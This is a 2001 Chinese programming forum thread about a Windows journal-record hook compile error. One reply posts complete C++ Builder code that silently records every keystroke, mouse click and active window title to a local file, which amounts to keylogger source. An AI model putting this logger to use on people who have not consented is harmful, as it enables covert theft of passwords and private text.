日志钩子的问题!!!

xycleo 环球市场 资讯科技部经理  2001-06-02 02:24:00
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

出错!!!
Member function must be called or its address taken


为什么?????
...全文
635 点赞 收藏 26
写回复
26 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
gqxs 2001-06-22
关注
回复
wangxd 2001-06-03
给你一个我写的dll的例子,全局钩子
头文件userdll.h如下
#ifndef _SHOWIMG_H_

#define _SHOWIMG_H_

#ifndef IMGDLL

#define EXTERN __declspec(dllimport)

#else

#define EXTERN __declspec(dllexport)

#endif

extern "C" EXTERN LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" EXTERN bool _stdcall EnableHotKeyHook();
extern "C" EXTERN bool _stdcall DisableHotKeyHook();
extern "C" EXTERN int _stdcall keynumber();
#endif
//---------------------------------------------------------------------------

cpp文件hookdll.cpp如下
#include <vcl.h>
#define IMGDLL
#include "usedll.h"
#pragma hdrstop
static int number=0;
HHOOK hNextHookProc;
HOOKPROC TMP;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{ const
_KeyPressMask = 0x80000000;
int Result=0;
if (code<0)
Result = CallNextHookEx(hNextHookProc, code, wParam, lParam);
else
{ if((lParam & _KeyPressMask)== 0 )
ShowMessage("OK");
//++number;
}
return Result;
}
bool _stdcall EnableHotKeyHook()
{ TMP=(HOOKPROC)KeyboardProc;
bool Result=false;
if (hNextHookProc==0)
{
hNextHookProc = SetWindowsHookEx(WH_KEYBOARD, TMP, HInstance,0);
Result=(hNextHookProc!=0);
}
return Result;
}
bool _stdcall DisableHotKeyHook()
{ bool Result=false;
if (hNextHookProc!=0)
{
UnhookWindowsHookEx(hNextHookProc);
hNextHookProc = 0;
Result=(hNextHookProc == 0);
}
return Result;
}
int _stdcall keynumber()
{
return number;
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
其实钩子并不难,难在全局变量,注意是全局变量而不是全局钩子的设置,要用到
内存映射文件的方法,我从来没成功过,希望得到大家的指点
回复
孩皮妞野 2001-06-02
过江项羽 版权所有。
回复
孩皮妞野 2001-06-02
头 文件
//---------------------------------------------------------------------------

#ifndef frmHookMainH
#define frmHookMainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TfrmLogHook : public TForm
{
__published: // IDE-managed Components
TButton *btnInstall;
TButton *btnUninstall;
TButton *Button1;
void __fastcall btnInstallClick(TObject *Sender);
void __fastcall btnUninstallClick(TObject *Sender);
void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
void __fastcall Button1Click(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TfrmLogHook(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TfrmLogHook *frmLogHook;
//---------------------------------------------------------------------------
#endif
回复
孩皮妞野 2001-06-02
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <stdio.h>

#include "frmHookMain.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
char buff[100];

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
HOOKPROC TestJournal(int iCode,WPARAM wParam,LPARAM lParam);
char * MyTranslateKey(WORD vKey,bool bShift,bool bCapital,bool bNumLock);

//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::Button1Click(TObject *Sender)
{
if(g_hLogHook==NULL)
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)TestJournal,HInstance,0);

}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
//if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if(iCode==HC_ACTION){
#define pEvt (reinterpret_cast<EVENTMSG*>(lParam))
int i;
HWND hFocus;//保存当前活动窗口句柄
static char szTitle[256];//当前窗口名称
static char szTime[128];//当前的日期和时间

FILE* stream=fopen("C:\\logfile.txt","a+");

strcpy(szTime,DateTimeToStr(Now()).c_str());
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus){
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
}

if(pEvt->message==WM_KEYDOWN){
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
char * str;

bool bShift=GetKeyState(VK_SHIFT) & KeyPressMask;//(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=GetKeyState(VK_CAPITAL) & 1;
bool bNumLock=GetKeyState(VK_NUMLOCK) & 1;//(iNumLock&1)==1;

str=MyTranslateKey(vKey,bShift,bCapital,bNumLock);

fprintf(stream,"\n%s %s %s",szTime,szTitle,str);
}
else if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
{
fprintf(stream,"\n%s %s %s",szTime,szTitle,"[MouseDown]");
}
fclose(stream);
#undef pEvt
}
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
char * MyTranslateKey(WORD vKey,bool bShift,bool bCapital,bool bNumLock){
static char str[100],ch;

if(vKey>=48 && vKey<=57){ //数字键0-9
const char * tmp=")!@#$%^&*(";
ch=bShift ? tmp[vKey-48] : vKey;
sprintf(str,"%c",ch);
}
else if(vKey>=65 && vKey<=90){ //A-Z a-z
ch= bCapital ^ bShift ? vKey :vKey+32;
sprintf(str,"%c",ch);
}
else if(vKey>=96 && vKey<=105){//小键盘0-9
if(bNumLock)
sprintf(str,"%c",vKey-96+48);
}
else if(vKey>=186 && vKey<=222){ //其它键
if(vKey<=192){
const char * tmp=":+<_>?~";
ch=bShift ? tmp[vKey-186] : vKey;
}else if(vKey>=219){
const char * tmp="{|}\"";
ch=bShift ? tmp[vKey-219] : vKey;
}else
ch=' ' ; //ignore

sprintf(str,"%c",ch);

}
else if (vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
{
char * names[]={"[F1]","[F2]","[F3]","[F4]","[F5]","[F6]",
"[F7]","[F8]","[F9]","[F10]","[F11]","[F12]"};
sprintf(str,"%s",names[vKey-112]);
}
else if (vKey>=8 && vKey<=46){ //方向键
// 8(0) 9 13(2) 27(3) 32(4)
char * names[]={"[BK]","[TAB]","[EN]","[ESC]","[SP]",
//33 34 35 36 37 38 39
"[PU]","[PD]","[END]","[HOME]","[LF]","[UF]","[RF]",
//40 45(13) 46 default(15)
"[DF]","[INS]", "[DEL]" , "Ignored Key" };
int index;
if(vKey<10)
index=vKey-8;
else if(vKey==13)
index=2;
else if(vKey==27)
index=3;
else if(vKey>=32 && vKey<=40)
index=vKey-32+4;
else if(vKey>=45 && vKey<=46)
index=vKey-45+13;
else
index=15;
sprintf(str,"%s",names[index]);
}
return str;
}

void __fastcall TfrmLogHook::FormClose(TObject *Sender,
TCloseAction &Action)
{
if(g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC TestJournal(int iCode,WPARAM wParam,LPARAM lParam)
{
//if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if(iCode==HC_ACTION){
#define pEvt (reinterpret_cast<EVENTMSG*>(lParam))
int i;
HWND hFocus;//保存当前活动窗口句柄
static char szTitle[256];//当前窗口名称

FILE* stream=fopen("C:\\logfile.txt","a+");

//strcpy(szTime,DateTimeToStr(Now()).c_str());
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus){
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
}

if(pEvt->message==WM_KEYDOWN){
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
char * str;

bool bShift=GetKeyState(VK_SHIFT) & KeyPressMask;//(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=GetKeyState(VK_CAPITAL) & 1;
bool bNumLock=GetKeyState(VK_NUMLOCK) & 1;//(iNumLock&1)==1;

str=MyTranslateKey(vKey,bShift,bCapital,bNumLock);

fprintf(stream,"\n%s %s %s",szTime,szTitle,str);
}
fclose(stream);
#undef pEvt
}
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
回复
孩皮妞野 2001-06-02
我家里的机上好象没有,我查查吧。
回复
孩皮妞野 2001-06-02
XICI上有一个我改写的过江项羽的例子, 不过XICI这几天进不去。
回复
xycleo 2001-06-02
rh,,帮我看看
回复
xycleo 2001-06-02
up老火!!!斑竹老大!!!你们在哪里??
回复
xycleo 2001-06-02
up
回复
xycleo 2001-06-02
项羽大哥你那个我昨天看过啦!!!

但是可能是csdn的排版问题!!!有几个地方有物
1.if(pEvt->message==WM_LBUTTONDOWN¦¦pEvt->message==WM_RBUTTONDOWN)
2.case 220:
if (!bShift) ch='\\' ;
else ch='¦' ;
break;



而且我还想问一个问题!!日志钩子一定要在dll中吗??

我想要一个完整一点的工程(包括程序,Dll)的!!

如果可以成功!!我加到300分!!!


谢谢啦!!项羽大哥
回复
luhongjun 2001-06-02
你看看
http://www.csdn.net/expert/topic/88/88792.shtm
这是个完整的日志钩子的例子,肯定没有问题.
我就不粘过来了.
回复
NowCan 2001-06-02
nowcan@21cn.com
回复
xycleo 2001-06-02
我的新邮箱xycleo@sina.com

或xycleo@163.net
回复
xycleo 2001-06-02
要那位大虾可以给我一份完整的日志hook的例子!!!即一个工程!!!!
斑竹老大!!项羽大哥!!叶老大,ALNG,NowCan,RH................

谢谢各位!!!
回复
xycleo 2001-06-02
up
回复
NowCan 2001-06-02
哦.
回复
孩皮妞野 2001-06-02
把JournalLogProc定义成类成员了吧,用一个一般的函数看看。
回复
xycleo 2001-06-02
我这样写不对吗???
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
(HOOKPROC)JournalLogProc不是地址吗???
回复
xycleo 2001-06-02
谢谢!!
回复
加载更多回复
相关推荐
发帖
C++ Builder
创建于2007-08-02

1.3w+

社区成员

C++ Builder相关内容讨论区
申请成为版主
帖子事件
创建了帖子
2001-06-02 02:24
社区公告
暂无公告